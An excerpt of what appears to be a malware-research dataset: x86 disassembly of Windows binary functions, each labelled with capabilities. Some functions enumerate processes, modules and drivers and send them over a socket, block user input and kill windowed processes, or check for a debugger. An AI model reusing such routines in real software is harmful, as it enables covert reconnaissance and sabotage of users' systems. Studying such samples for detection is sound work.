joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000be90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100376a8
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1015e6f4]
mov esi, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor ebx, ebx
mov edi, 0x103
cmp eax, ebx
je 0x1000bf00
lea ecx, [ebp - 0x68]
push ecx
push eax
call esi
test eax, eax
je 0x1000beec
xor eax, eax
cmp dword [ebp - 0x68], edi
sete al
cmp eax, ebx
jne 0x1000c00d
mov edx, dword [0x1015e6f4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [0x1015e6f4], eax
lea ecx, [ebp - 0x68]
push ecx
push eax
call esi
test eax, eax
je 0x1000bf1b
xor eax, eax
cmp dword [ebp - 0x68], edi
sete al
cmp eax, ebx
jne 0x1000c00d
cmp byte [0x1015e497], bl
jne 0x1000c00d
push ebx
push ebx
push ebx
push fcn.100121e0
push ebx
push ebx
mov byte [0x1015ec54], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, 0x58
mov eax, str.h8vdOxgoeXWLaTgzo0UnNIumGO1LkAcbqVzHMZuWUu_zvcymPRVeb87jCMpu4sGYBsjDlyfGSMNIt87nzJQ
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10002d20
mov edx, esi
push edx
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 4], ebx
call fcn.10002750
add esp, 8
mov esi, 0x10
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], esi
jb 0x1000bf8a
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
cmp dword [ebp - 0x34], esi
jb 0x1000bfa7
mov edx, dword [ebp - 0x48]
mov dword [0x1015e858], edx
jmp 0x1000bfaf
lea eax, [ebp - 0x48]
mov dword [0x1015e858], eax
lea ecx, [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x48]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.100032d0
mov esi, 0x10
mov byte [ebp - 4], 2
cmp dword [ebp - 0x50], esi
jb 0x1000bfe7
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [0x1015e85c], str.Unknown
call fcn.1000d2a0
call fcn.10009910
cmp dword [ebp - 0x34], esi
jb 0x1000c00d
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret
Function at 0x1000c030
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100376a8
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1015e6f8]
mov esi, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor ebx, ebx
mov edi, 0x103
cmp eax, ebx
je 0x1000c0a0
lea ecx, [ebp - 0x68]
push ecx
push eax
call esi
test eax, eax
je 0x1000c08c
xor eax, eax
cmp dword [ebp - 0x68], edi
sete al
cmp eax, ebx
jne 0x1000c1a6
mov edx, dword [0x1015e6f8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [0x1015e6f8], eax
lea ecx, [ebp - 0x68]
push ecx
push eax
call esi
test eax, eax
je 0x1000c0bb
xor eax, eax
cmp dword [ebp - 0x68], edi
sete al
cmp eax, ebx
jne 0x1000c1a6
cmp byte [0x1015e497], bl
jne 0x1000c1a6
push ebx
push ebx
push ebx
push fcn.100121e0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, 0x58
mov eax, str.h8vdOxgoeXWLaTgzo0UnNIumGO1LkAcbqVzHMZuWUu_zvcymPRVeb87jCMpu4sGYBsjDlyfGSMNIt87nzJQ
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10002d20
mov edx, esi
push edx
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 4], ebx
call fcn.10002750
add esp, 8
mov esi, 0x10
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], esi
jb 0x1000c123
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
cmp dword [ebp - 0x34], esi
jb 0x1000c140
mov edx, dword [ebp - 0x48]
mov dword [0x1015e858], edx
jmp 0x1000c148
lea eax, [ebp - 0x48]
mov dword [0x1015e858], eax
lea ecx, [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x48]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.100032d0
mov esi, 0x10
mov byte [ebp - 4], 2
cmp dword [ebp - 0x50], esi
jb 0x1000c180
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [0x1015e85c], str.Unknown
call fcn.1000d2a0
call fcn.10009910
cmp dword [ebp - 0x34], esi
jb 0x1000c1a6
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret
Function at 0x1000c1d0
Capabilities:
Create thread
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10037668
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
mov dword [ebp - 0x68], eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor ebx, ebx
mov dword [ebp - 0x6c], eax
cmp eax, ebx
jbe 0x1000c302
push ebx
push ebx
push ebx
push fcn.100121e0
push ebx
push ebx
mov byte [0x1015e497], 1
mov word [0x1015ec54], 0x101
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea edi, [ebx + 0x58]
mov eax, str.7mbrntAdFOUzNuXFMx_X5qNtdLosmKF8anM4Vp1SoG8GRY8DlQHiUtAAFh5oncWkeVtc1ZnyPIla4eM6szCA
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x48]
push ecx
mov dword [ebp - 4], ebx
call fcn.10002750
add esp, 8
mov esi, 0x10
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], esi
jb 0x1000c27f
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
cmp dword [ebp - 0x34], esi
jb 0x1000c29b
mov eax, dword [ebp - 0x48]
mov dword [0x1015e858], eax
jmp 0x1000c2a4
lea ecx, [ebp - 0x48]
mov dword [0x1015e858], ecx
lea edx, [ebp - 0x64]
push edx
lea ecx, [ebp - 0x48]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.100032d0
mov esi, 0x10
mov byte [ebp - 4], 2
cmp dword [ebp - 0x50], esi
jb 0x1000c2dc
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [0x1015e85c], str.Unknown
call fcn.1000d2a0
call fcn.10009910
cmp dword [ebp - 0x34], esi
jb 0x1000c302
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
cmp dword [ebp - 0x6c], 1
mov byte [0x10160832], 1
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret
Function at 0x10017fa0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
mov dword [ebp - 0x134], edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1001804c
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
nop
mov ecx, dword [ebp - 0x128]
push ecx
push 0
push 0x410
call edi
push 0x104
push 0x1015fe00
push 0
push eax
call ebx
push esi
push 0x1015fe00
call dword [sym.imp.MSVCR100.dll_strstr]
add esp, 8
test eax, eax
je 0x1001802e
mov edx, dword [ebp - 0x128]
mov dword [0x1015f29c], edx
mov ecx, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10017ff0
mov edi, dword [ebp - 0x134]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10034620
mov esp, ebp
pop ebp
ret
Function at 0x10018070
Capabilities:
Enumerate process modules
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10035f06
mov eax, dword fs:[0]
push eax
mov eax, 0x1150
call fcn.100350f0
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1015f4ac]
xor ebx, ebx
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], ebx
mov byte [ebp - 0x130], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [ebp - 0x15c]
push ecx
push 0x1000
lea edx, [ebp - 0x115c]
mov edi, eax
push edx
push edi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x1001826b
mov eax, dword [ebp - 0x15c]
shr eax, 2
xor esi, esi
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], esi
cmp eax, ebx
jle 0x1001826b
mov edi, edi
mov ecx, dword [ebp + esi*4 - 0x115c]
push 0x104
lea eax, [ebp - 0x114]
push eax
push ecx
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10018258
mov eax, dword [ebp + esi*4 - 0x115c]
push 0x104
lea edx, [ebp - 0x114]
push edx
push eax
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10018258
push 0xc
mov eax, str._PROCESSDLL_
lea ecx, [ebp - 0x130]
call fcn.100087a0
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10018181
mov ecx, dword [ebp - 0x154]
sub eax, edx
push ecx
lea edx, [ebp + eax - 0x114]
push edx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x14c]
push ecx
mov dword [ebp - 0x138], 0xf
mov dword [ebp - 0x13c], ebx
mov byte [ebp - 0x14c], bl
call fcn.1001ff10
push ebx
lea edx, [ebp - 0x14c]
push edx
or eax, 0xffffffff
lea esi, [ebp - 0x130]
mov byte [ebp - 4], 1
call fcn.10008a10
mov byte [ebp - 4], bl
cmp dword [ebp - 0x138], 0x10
jb 0x100181f8
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push 3
mov eax, 0x10041104
lea ecx, [ebp - 0x130]
call fcn.100087a0
push 7
mov eax, str._______
lea ecx, [ebp - 0x130]
call fcn.100087a0
push 3
mov eax, 0x10041104
lea ecx, [ebp - 0x130]
call fcn.100087a0
push 7
mov eax, str._______
lea ecx, [ebp - 0x130]
call fcn.100087a0
push 1
mov eax, 0x10040638
lea ecx, [ebp - 0x130]
call fcn.100087a0
mov esi, dword [ebp - 0x150]
inc esi
mov dword [ebp - 0x150], esi
cmp esi, dword [ebp - 0x154]
jl 0x10018120
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
mov esi, 0x10
cmp dword [ebp - 0x11c], esi
jae 0x1001828b
lea eax, [ebp - 0x130]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x158]
push ebx
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp dword [ebp - 0x11c], esi
jb 0x100182b9
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret
Function at 0x100182e0
Capabilities:
Enumerate device drivers on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100359eb
mov eax, dword fs:[0]
push eax
mov eax, 0x1230
call fcn.100350f0
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1015f4ac]
xor esi, esi
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x220], 0xf
mov dword [ebp - 0x224], esi
mov byte [ebp - 0x234], 0
lea ecx, [ebp - 0x238]
push ecx
push 0x1000
lea edx, [ebp - 0x123c]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.PSAPI.DLL_EnumDeviceDrivers]
test eax, eax
je 0x1001844e
mov edi, dword [ebp - 0x238]
shr edi, 2
cmp edi, esi
jle 0x1001844e
mov ebx, dword [sym.imp.PSAPI.DLL_GetDeviceDriverFileNameA]
mov ecx, dword [ebp + esi*4 - 0x123c]
push 0x104
lea eax, [ebp - 0x218]
push eax
push ecx
call ebx
test eax, eax
je 0x10018445
push 0
lea edx, [ebp - 0x114]
push edx
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x10018445
push 0xa
mov eax, str.__DRIVER_
lea ecx, [ebp - 0x234]
call fcn.100087a0
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100183d0
sub eax, edx
push eax
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x234]
call fcn.100087a0
push 3
mov eax, 0x10041104
lea ecx, [ebp - 0x234]
call fcn.100087a0
push 7
mov eax, str._______
lea ecx, [ebp - 0x234]
call fcn.100087a0
push 3
mov eax, 0x10041104
lea ecx, [ebp - 0x234]
call fcn.100087a0
push 7
mov eax, str._______
lea ecx, [ebp - 0x234]
call fcn.100087a0
push 1
mov eax, 0x10040638
lea ecx, [ebp - 0x234]
call fcn.100087a0
inc esi
cmp esi, edi
jl 0x10018371
mov eax, dword [ebp - 0x234]
mov esi, 0x10
cmp dword [ebp - 0x220], esi
jae 0x10018467
lea eax, [ebp - 0x234]
mov ecx, dword [ebp - 0x224]
mov edx, dword [ebp - 0x23c]
push 0
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp dword [ebp - 0x220], esi
jb 0x10018496
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret
Function at 0x10028760
Capabilities:
Enumerate gui resources
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_EnumWindows]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push edi
mov edi, dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
push 1
call dword [sym.imp.USER32.dll_BlockInput]
push 0
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x130]
push ecx
push eax
mov dword [ebp - 0x134], eax
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10028853
mov edx, dword [ebp - 0x128]
push edx
push 0
push 0x410
call esi
push 0x104
push 0x10160118
push 0
push eax
call edi
mov eax, dword [ebp - 0x128]
push eax
push 0x100283e0
mov dword [0x101609b8], 0
call ebx
mov ecx, dword [0x101609b8]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x10028837
mov edx, dword [0x1015ec2c]
push edx
push 0x10160118
call dword [sym.imp.MSVCR100.dll_strstr]
add esp, 8
test eax, eax
jne 0x10028837
mov eax, dword [ebp - 0x128]
push eax
push 0
push 1
call esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x134]
lea ecx, [ebp - 0x130]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100287c0
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10028788
Function at 0x10028da0
Capabilities:
Enumerate processes
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x23c], esi
cmp esi, 0xffffffff
je 0x10028e8c
lea eax, [ebp - 0x238]
push eax
push esi
mov dword [ebp - 0x238], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10028e85
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, 0x10028d20
test ecx, ecx
je 0x10028e6f
mov edx, dword [ebp - 0x230]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10028e68
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10028e68
push 0
push 0
push 3
push 0
push 1
push connect
lea ecx, [ebp - 0x110]
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10028e62
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x23c]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x238]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10028df7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10034620
mov esp, ebp
pop ebp
ret
Function at 0x10034620
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004b034]
jne 0x1003462a
repz ret
jmp fcn.10034b69
Function at 0x403bc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [esi + 8], 0
je 0x403c2f
push edi
xor edi, edi
test ebx, ebx
je 0x403bf0
mov eax, dword [esi + 0xc]
cmp eax, dword [esi + 8]
je 0x403c00
mov ecx, dword [esi + 4]
mov edx, dword [esi + 0xc]
mov al, byte [ecx + edx]
mov ecx, dword [ebp + 8]
mov byte [edi + ecx], al
inc dword [esi + 0xc]
inc edi
cmp edi, ebx
jb 0x403bd1
add dword [esi + 0x10], edi
mov eax, edi
pop edi
adc dword [esi + 0x14], 0
mov esp, ebp
pop ebp
ret 4
mov edx, dword [esi + 4]
mov eax, dword [esi]
push 0
lea ecx, [ebp - 4]
push ecx
push 0x10000
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x403bf0
mov eax, dword [ebp - 4]
test eax, eax
je 0x403bf0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0
jmp 0x403bd9
push esi
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call fcn.0040e3c0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], edx
jmp 0x403bca
Function at 0x40d830
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push ebx
push esi
push edi
mov edi, eax
lea eax, [ebp - 0x228]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
push edi
call fcn.00401f10
call dword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
test eax, eax
jne 0x42e7ee
mov eax, dword [0x4a7f54]
test eax, eax
je 0x42e807
mov byte [ebp - 1], 0
mov esi, 0x4a90e8
cmp eax, 1
je 0x42e81d
push 0x4a7f54
lea ecx, [ebp - 1]
mov eax, 0x4a7f6c
call fcn.0040f6f0
test al, al
je 0x42e844
mov cl, byte [0x4a90e8]
mov bl, byte [0x4a90e9]
push 0x4a7f50
lea edx, [ebp - 0x438]
push edx
push 0x104
push 0x4a7f6c
mov byte [0x4a7f58], cl
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
mov eax, dword [0x4a7f54]
push eax
push 0x4a7f6c
call fcn.00401460
test eax, eax
jne 0x42e85a
cmp bl, 1
je 0x42e880
call fcn.00410540
call fcn.00410720
cmp byte [0x4a7f58], 0
jne 0x40d909
mov esi, 0x4a8710
call fcn.0040e430
push 1
mov ecx, 0x4a8178
call fcn.00409480
cmp byte [0x4a7f58], 0
jne 0x40d928
mov ecx, 0x4a8710
call fcn.00401000
mov ebx, 0x4a90e8
call fcn.0040ed80
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x10
push 0x483d52
push str.This_is_a_compiled_AutoIt_script._AV_researchers_please_email_avsupport_autoitscript.com_for_support.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40d93f
lea ecx, [ebp - 0x228]
mov dword [0x4974f4], 0xffffffff
push ecx
jmp 0x40d939
mov ebx, dword [0x4a7f5c]
push 0xffffffffffffffff
push 1
mov byte [ebp - 2], 0
call fcn.00403d00
mov dl, byte [0x4974e8]
mov bl, byte [ebp - 2]
mov byte [0x4a90eb], dl
jmp 0x40d8cb
lea eax, [ebp - 0x228]
mov dword [0x4974f4], 1
push eax
jmp 0x40d939
mov ebx, 0x4a90e8
call fcn.0040ed80
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryW]
mov dword [0x4974f4], 1
jmp 0x40d93f
call fcn.00433597
test al, al
jne 0x40d8ec
push 0x104
lea edx, [ebp - 0x438]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
cmp byte [ebp - 1], 0
je 0x42e8fe
mov edi, 0x483dc0
lea esi, [ebp - 0x14]
call fcn.00401c30
mov edi, 0x4a7f6c
mov eax, esi
call fcn.0040d510
mov edi, 0x483dc0
mov eax, esi
call fcn.0040d510
mov ecx, dword [ebp - 0x14]
push 1
lea eax, [ebp - 0x228]
push eax
push ecx
lea edx, [ebp - 0x438]
push edx
push 0x483dc4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, esi
call fcn.00402260
jmp 0x40d928
push 1
lea eax, [ebp - 0x228]
push eax
push edi
lea ecx, [ebp - 0x438]
push ecx
push 0x483dc4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40d928
Function at 0x40e6d0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push ebx
push esi
lea esi, [edi + 0xc]
mov ecx, esi
call fcn.0040bf10
lea eax, [ebp - 0x15c]
push eax
mov byte [edi + 0x2e], 0
mov dword [ebp - 0x15c], 0x11c
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 0x154]
mov dword [edi + 8], eax
lea ebx, [ebp - 0x148]
mov eax, esi
mov dword [edi], ecx
mov dword [edi + 4], edx
call fcn.00402170
call fcn.0040e830
mov eax, 0x4843f0
call fcn.0040e850
mov eax, dword [edi]
xor ebx, ebx
sub eax, 5
mov byte [edi + 0x2a], bl
mov dword [edi + 0x1c], ebx
mov dword [edi + 0x20], ebx
mov dword [edi + 0x24], ebx
mov word [edi + 0x28], bx
je 0x427c69
dec eax
jne 0x40e787
mov eax, dword [edi + 4]
mov byte [edi + 0x1d], 1
mov byte [edi + 0x1f], 1
mov byte [edi + 0x21], 1
cmp eax, ebx
je 0x427c3a
cmp eax, 1
jne 0x40e787
mov byte [edi + 0x23], al
mov byte [edi + 0x25], al
cmp byte [ebp - 0x42], al
jne 0x427c5a
mov word [edi + 0x26], 0x101
lea esi, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
call fcn.0040f130
cmp dword [ebp - 8], ebx
je 0x40e7b9
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call fcn.0040f0f0
call eax
cmp dword [ebp - 4], 1
jne 0x40e7b9
mov byte [edi + 0x2a], 1
xor eax, eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
cmp byte [edi + 0x2a], bl
je 0x427cca
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040f1a0
cmp dword [ebp - 0x14], ebx
je 0x427cbb
lea edx, [ebp - 0x40]
push edx
call fcn.0040f160
call eax
mov eax, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
cmp eax, ebx
je 0x40e811
push eax
call esi
mov eax, dword [ebp - 0x10]
mov dx, word [ebp - 0x40]
mov word [edi + 0x2c], dx
cmp eax, ebx
je 0x40e823
push eax
call esi
pop esi
mov eax, edi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 0x42], 1
jne 0x427c4b
mov word [edi + 0x22], 0x101
jmp 0x40e787
mov byte [edi + 0x23], 1
mov word [edi + 0x24], 0x101
jmp 0x40e787
mov byte [edi + 0x27], 1
mov word [edi + 0x28], 0x101
jmp 0x40e787
mov eax, dword [edi + 4]
cmp eax, ebx
jne 0x427c78
mov word [edi + 0x1c], 0x101
jmp 0x427ca9
cmp eax, 1
jne 0x427c88
mov byte [edi + 0x1d], al
mov word [edi + 0x1e], 0x101
jmp 0x427ca9
cmp eax, 2
jne 0x427ca9
cmp byte [ebp - 0x42], 1
mov byte [edi + 0x1d], 1
mov byte [edi + 0x1f], 1
mov byte [edi + 0x21], 1
jne 0x427ca5
mov byte [edi + 0x1e], 1
jmp 0x427ca9
mov byte [edi + 0x20], 1
movzx eax, byte [ebp - 0x44]
shr eax, 6
and eax, 1
mov byte [edi + 0x2e], al
